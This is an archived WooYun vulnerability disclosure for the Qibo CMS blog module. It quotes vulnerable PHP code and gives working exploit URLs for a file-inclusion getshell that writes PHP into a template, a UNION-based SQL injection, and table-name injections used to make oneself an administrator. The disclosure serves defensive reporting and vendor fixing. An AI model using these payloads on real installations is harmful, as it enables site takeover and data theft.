当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-098582

漏洞标题:齐博cms博客系统 前台 GETSHELL一处 & 三处注入。

相关厂商:齐博CMS

漏洞作者: ′雨。

提交时间:2015-03-02 17:10

修复时间:2015-06-02 09:24

公开时间:2015-06-02 09:24

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-02: 细节已通知厂商并且等待厂商处理中
2015-03-04: 厂商已经确认,细节仅向厂商公开
2015-03-07: 细节向第三方安全合作伙伴开放
2015-04-28: 细节向核心白帽子及相关领域专家公开
2015-05-08: 细节向普通白帽子公开
2015-05-18: 细节向实习白帽子公开
2015-06-02: 细节向公众公开

简要描述:

测试版本 http://down.qibosoft.com/down.php?v=blog1.0
前台 可GETSHELL 可注入 无视GPC
全部放在一起来。

详细说明:

http://down.qibosoft.com/down.php?v=blog1.0 下载地址。
1:GETSHELL
需要注册一个会员
在blog/require/ajax/ol_module.php 中

//显示模块
if($step==2)
{
$uid=$lfjuid;
@include("template/space/module/$moduleid.php");


看到这段代码 $moduleid 因为伪全局是可以控制的 且没过滤。
但是因为qibo全局有转义 所以肯定是截断不了的。
但是因为qibo的特殊性 在qibo的后台文件当中
function_exists('html') OR exit('ERR');
所以直接访问是不行的。
是这样判断的 所以我们就算不能截断 我们可以直接把后台的文件包含进来 然后进而操作后台。
所以qibo在操作包含的文件中都用正则来过滤了, 却遗漏了这里。
所以我们直接在后台找一个能GETSHELL的文件 然后包含进来 我们就可以直接操作后台了。
再来找能在后台GETSHELL的点
在后台中看到模版
hack/template/admin.php中

elseif($action=="maketpl"&&$Apower[template_list])
{
$path=dirname($postdb[filepath]);
if(!is_dir(ROOT_PATH.$path)){
makepath(ROOT_PATH.$path);
}
if(is_file(ROOT_PATH.$postdb[filepath])){
showmsg("此模板已存在了");
}
elseif(!eregi("(\.htm|\.html)$",$postdb[filepath])){
showmsg('模板只能是.htm .html文件!');
}
if($ifupfile)
{
$array[name]=is_array($postfile)?$_FILES[postfile][name]:$postfile_name;
$filetype=strtolower(strrchr($array[name],"."));
if($filetype!='.zip')
{
showerr("只能上传ZIP格式的压缩包",1);
}
write_file(ROOT_PATH.$postdb[filepath],' ');
if(!is_writable(ROOT_PATH.$postdb[filepath])){
echo "文件写入失败,请确认目录可写:".ROOT_PATH.$postdb[filepath];
die();
}

$array[path]=$webdb[updir]."/";
$array[size]=is_array($postfile)?$_FILES[postfile][size]:$postfile_size;


限制了只能为.htm 和 .html结尾的。 然后就直接把文件写了出来。
不怕不怕。
再看到blog\require\ajax\edit_sort.php

else
{
$query=$db->query("SELECT * FROM {$pre}$table_album WHERE uid='$lfjuid' ORDER BY list DESC");
while( $rs=$db->fetch_array($query) ){
$listdb[]=$rs;
}
require tpl_e($job); //job可控
}


function tpl_e($html){
return "template/space/edit/$html.htm";
}


这里我们直接把我们写的htm 返回回来 然后直接包含 又执行了代码
在登录会员的情况下
1:
/blog/ajax.php?inc=ol_module&step=2&step=2&moduleid=../../../../hack/template/admin&action=maketpl&Apower[template_list]=1&postdb[filepath]=template/yu.htm&postdb[code]=<?php phpinfo();?>

b1.jpg


2:blog/ajax.php?inc=edit_sort&job=../../../../template/yu

b2.jpg


0x02 注入
do/jf.php

error_reporting(0);extract($_GET);
require_once(dirname(__FILE__)."/../data/config.php");
if(!eregi("^([0-9]+)$",$id)){
die("document.write('ID不存在');");
}
$_GET['FileName']=$_POST['FileName']=$_COOKIE['FileName']=$FileName='';
$FileName=dirname(__FILE__)."/../cache/js/";
$FileName.="{$id}.php";
//默认缓存3分钟.
if(!$webdb["cache_time_js"]){
$webdb["cache_time_js"]=3;
}
if( (time()-filemtime($FileName))<($webdb["cache_time_js"]*60) ){
@include($FileName);
$show=str_replace(array("\n","\r","'"),array("","","\'"),stripslashes($show));
if($iframeID){ //框架方式不会拖慢主页面打开速度,推荐
//处理跨域问题
if($webdb[cookieDomain]){
echo "<SCRIPT LANGUAGE=\"JavaScript\">document.domain = \"$webdb[cookieDomain]\";</SCRIPT>";
}
echo "<SCRIPT LANGUAGE=\"JavaScript\">
parent.document.getElementById('$iframeID').innerHTML='$show';
</SCRIPT>";
}else{ //JS式会拖慢主页面打开速度,不推荐
echo "document.write('$show');";
}
exit;
}
require(dirname(__FILE__)."/"."global.php");
require_once(ROOT_PATH."inc/label_funcation.php");
$query=$db->query(" SELECT * FROM {$pre}label WHERE lid='$id' ");


WooYun: 齐博地方门户鸡肋文件包含造成的高危SQL注入
这个参考师傅大屌的 就行了 就不多说啦。
blog/ajax.php?inc=ol_module&step=2&moduleid=../../../../do/js&&id=514125&webdb[web_open]=1&webdb[cache_time_js]=-1&pre=qb_label%20where%20lid=-1%20UNION%20SELECT%201,2,3,4,5,6,0,user%28%29,9,10,11,12,13,14,15,16,17,18,19%23

b3.jpg


0x03
在blog/require/ajax/edit_sort.php中

switch($job){
case "video_sort":
$table_album="blog_mv_album";
break;
case "photo_sort":
$table_album="blog_photo_album";
break;
case "log_sort":
$table_album="blog_log_album";
break;
case "shop_sort":
$table_album="blog_shop_album";
break;
case "down_sort":
$table_album="blog_down_album";
break;
case "music_sort":
$table_album="blog_music_album";
break;
case "flash_sort":
$table_album="blog_flash_album";
break;
}
//首先这个table_album switch中 他没有设置defalut的表名 导致了我们如果设置的不是这些case 就相当于这个变量没有初始化了 再结合qibo的伪全局 就可以控制这个变量了。
if($act=='modify'){
foreach($name AS $key=>$value){
if($value!=$specialname[$key]){
$name = filtrate($name);
$db->query("UPDATE `{$pre}$table_album` SET name='$value' WHERE uid='$lfjuid' AND id='$key'");");//直接带入查询 且是update表名可控 导致了我们可以直接update我们的判断是不是管理的表 直接提升自己为管理
}
}
job_end($job);
}


b4.jpg


b5.jpg


0x04 blog\member\update_sort.php

if($action == "add"){
$rs=$db->get_one("SELECT COUNT(*) AS NUM FROM `{$pre}blog_{$type}_album` WHERE uid='$lfjuid'");
if($rs[NUM]>50){
die("你不能创建大于50个分类");
}
$db->query("INSERT INTO `{$pre}blog_{$type}_album` SET name='$name',uid='$lfjuid',list='$timestamp'");
echo "<META HTTP-EQUIV=REFRESH CONTENT='0;URL=?step=1&type=$type'>";
exit;
}
if($action == "update"){
foreach($name AS $key=>$value){
$db->query("UPDATE `{$pre}blog_{$type}_album` SET name='$value' WHERE uid='$lfjuid' AND id='$key'");
}
echo "<META HTTP-EQUIV=REFRESH CONTENT='0;URL=?step=1&type=$type'>";
exit;
}


type未初始化 可控 导致了注入。

b6.jpg

漏洞证明:

b2.jpg


修复方案:

由鸡肋的文件包含引起的
用你们惯用的正则把那里过滤下就好。
该初始化的就初始化。

版权声明:转载请注明来源 ′雨。@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:17

确认时间:2015-03-04 09:23

厂商回复:

感谢提出来

最新状态:

暂无


漏洞评价:

评论

  1. 2015-03-02 17:12 | 浅蓝 ( 普通白帽子 | Rank:274 漏洞数:103 | 爱安全:www.ixsec.orgXsec社区:zone.ixse...)

    膜拜雨牛

  2. 2015-03-02 17:18 | roker ( 普通白帽子 | Rank:357 漏洞数:102 )

    为什么要这样

  3. 2015-03-02 17:33 | ′雨。 ( 普通白帽子 | Rank:1231 漏洞数:188 | Only Code Never Lie To Me.)

    @roker we could have had it at all:-(

  4. 2015-03-06 21:10 | 银冥币 ( 实习白帽子 | Rank:35 漏洞数:19 | "/upload/avatar/avatar_251_b.jpg" />)

    @′雨。 雨牛_(:3」∠)_

  5. 2015-03-11 16:13 | Skull ( 实习白帽子 | Rank:95 漏洞数:29 | 菜鸟一枚。)

    膜拜雨牛

  6. 2015-05-02 16:38 | Mr.R ( 实习白帽子 | Rank:52 漏洞数:13 | 求大神带我飞 qq2584110147)

    膜拜雨牛,雨牛你搞了多少money了

  7. 2015-05-14 15:19 | prolog ( 普通白帽子 | Rank:544 漏洞数:103 | 低调求发展)

    @′雨。 三个符号多少钱

  8. 2015-06-06 23:42 | xq17 ( 路人 | Rank:14 漏洞数:3 | xq17小菜鸟来向大神学习了)

    Apower[template_list]=1 为什么要等于一 小菜一枚求指教

  9. 2015-06-09 19:50 | 冰麒麟 ( 路人 | Rank:0 漏洞数:2 | 就算是男孩子,只要可爱就没问题了.)

    膜拜

  10. 2015-07-04 21:40 | 爱神 ( 路人 | Rank:4 漏洞数:1 | Qq190290957)

    膜拜雨牛

  11. 2015-07-20 13:29 | BeenQuiver ( 普通白帽子 | Rank:101 漏洞数:26 | 专注而高效,坚持好的习惯千万不要放弃)

    吊哦哦